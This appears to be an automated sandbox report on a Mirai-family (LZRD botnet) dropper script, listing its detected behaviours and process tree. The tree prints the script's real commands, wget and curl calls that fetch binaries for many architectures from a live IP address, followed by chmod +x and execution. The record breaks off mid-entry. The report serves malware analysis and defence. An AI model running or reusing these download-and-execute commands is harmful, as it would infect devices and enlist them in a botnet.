mirai | 89b2e1eac68709ec7626191285459646dbb536312b89fb39c761466d8613414a

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01/12/2024, 16:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ohshit.sh
Size

3KB
MD5

a0d4728b5b0bac50f8598ff0ea75f798
SHA1

83fc87c6b0b27084cbf1202fed8672c7d2f78e97
SHA256

89b2e1eac68709ec7626191285459646dbb536312b89fb39c761466d8613414a
SHA512

96283865e1c1de1c831911ef318078a24c10a02854acc7479a2110807d45ffa36a7700e5382c09ef1b947eb638b5c75a584e07014d3658f5f9d55913956fcb97

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1571	chmod
1591	chmod
1601	chmod
1641	chmod
1549	chmod
1559	chmod
1523	chmod
1539	chmod
1581	chmod
1529	chmod
1611	chmod
1621	chmod
1631	chmod
1651	chmod
1661	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	1524	Chaotic
/tmp/Chaotic	1530	Chaotic
/tmp/Chaotic	1540	Chaotic
/tmp/Chaotic	1550	Chaotic
/tmp/Chaotic	1560	Chaotic
/tmp/Chaotic	1572	Chaotic
/tmp/Chaotic	1582	Chaotic
/tmp/Chaotic	1592	Chaotic
/tmp/Chaotic	1602	Chaotic
/tmp/Chaotic	1612	Chaotic
/tmp/Chaotic	1622	Chaotic
/tmp/Chaotic	1632	Chaotic
/tmp/Chaotic	1642	Chaotic
/tmp/Chaotic	1652	Chaotic
/tmp/Chaotic	1662	Chaotic

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/80/status	Chaotic
File opened for reading	/proc/157/status	Chaotic
File opened for reading	/proc/1109/status	Chaotic
File opened for reading	/proc/1250/status	Chaotic
File opened for reading	/proc/197/status	Chaotic
File opened for reading	/proc/554/status	Chaotic
File opened for reading	/proc/973/status	Chaotic
File opened for reading	/proc/448/status	Chaotic
File opened for reading	/proc/1595/status	Chaotic
File opened for reading	/proc/550/status	Chaotic
File opened for reading	/proc/16/status	Chaotic
File opened for reading	/proc/159/status	Chaotic
File opened for reading	/proc/426/status	Chaotic
File opened for reading	/proc/1195/status	Chaotic
File opened for reading	/proc/1175/status	Chaotic
File opened for reading	/proc/20/status	Chaotic
File opened for reading	/proc/24/status	Chaotic
File opened for reading	/proc/1553/status	Chaotic
File opened for reading	/proc/198/status	Chaotic
File opened for reading	/proc/428/status	Chaotic
File opened for reading	/proc/163/status	Chaotic
File opened for reading	/proc/610/status	Chaotic
File opened for reading	/proc/527/status	Chaotic
File opened for reading	/proc/1165/status	Chaotic
File opened for reading	/proc/973/status	Chaotic
File opened for reading	/proc/471/status	Chaotic
File opened for reading	/proc/4/status	Chaotic
File opened for reading	/proc/166/status	Chaotic
File opened for reading	/proc/3/status	Chaotic
File opened for reading	/proc/1637/status	Chaotic
File opened for reading	/proc/881/status	Chaotic
File opened for reading	/proc/1386/status	Chaotic
File opened for reading	/proc/420/status	Chaotic
File opened for reading	/proc/550/status	Chaotic
File opened for reading	/proc/20/status	Chaotic
File opened for reading	/proc/1100/status	Chaotic
File opened for reading	/proc/1195/status	Chaotic
File opened for reading	/proc/85/status	Chaotic
File opened for reading	/proc/25/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/1185/status	Chaotic
File opened for reading	/proc/420/status	Chaotic
File opened for reading	/proc/162/status	Chaotic
File opened for reading	/proc/881/status	Chaotic
File opened for reading	/proc/469/status	Chaotic
File opened for reading	/proc/29/status	Chaotic
File opened for reading	/proc/330/status	Chaotic
File opened for reading	/proc/1153/status	Chaotic
File opened for reading	/proc/1503/status	Chaotic
File opened for reading	/proc/1563/status	Chaotic
File opened for reading	/proc/610/status	Chaotic
File opened for reading	/proc/481/status	Chaotic
File opened for reading	/proc/1386/status	Chaotic
File opened for reading	/proc/80/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/1351/status	Chaotic
File opened for reading	/proc/35/status	Chaotic
File opened for reading	/proc/1195/status	Chaotic
File opened for reading	/proc/1263/status	Chaotic
File opened for reading	/proc/24/status	Chaotic
File opened for reading	/proc/1249/status	Chaotic
File opened for reading	/proc/554/status	Chaotic
File opened for reading	/proc/126/status	Chaotic

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1556	wget
1557	curl
1568	wget
1569	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1506
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1507
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:1522
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-timedated.service-M9DzRQ ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:1524
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1526
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:1528
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-timedated.service-M9DzRQ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1530
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1536
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-timedated.service-M9DzRQ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1540
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1546
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1547
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-timedated.service-M9DzRQ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1550
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1556
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1557
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-timedated.service-M9DzRQ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1559
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1560
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1568
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1569
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1571
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1572
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1578
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1579
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1582
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1588
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1589
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1591
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1592
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1598
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1601
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1602
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1608
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1609
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1611
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1612
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1618
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1619
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1621
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1622
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1628
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1629
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1631
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1632
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:1638
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Writes file to tmp directory
  PID:1639
- /bin/chmod
  chmod +x busybox Chaotic config-err-C9zgZS netplan_yfbt283b ohshit.sh snap-private-tmp ssh-f0CRRAAB6NyY systemd-private-0779bd6fdccd4079b4778a22e5750cd8-bolt.service-m8MTGh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-colord.service-QwzSFh systemd-private-0779bd6fdccd4079b4778a22e5750cd8-ModemManager.service-CVp8sg systemd-private-0779bd6fdccd4079b4778a22e5750cd8-systemd-resolved.service-EBNwMH ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1641
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1642
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1648
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1649
- /bin/chmod
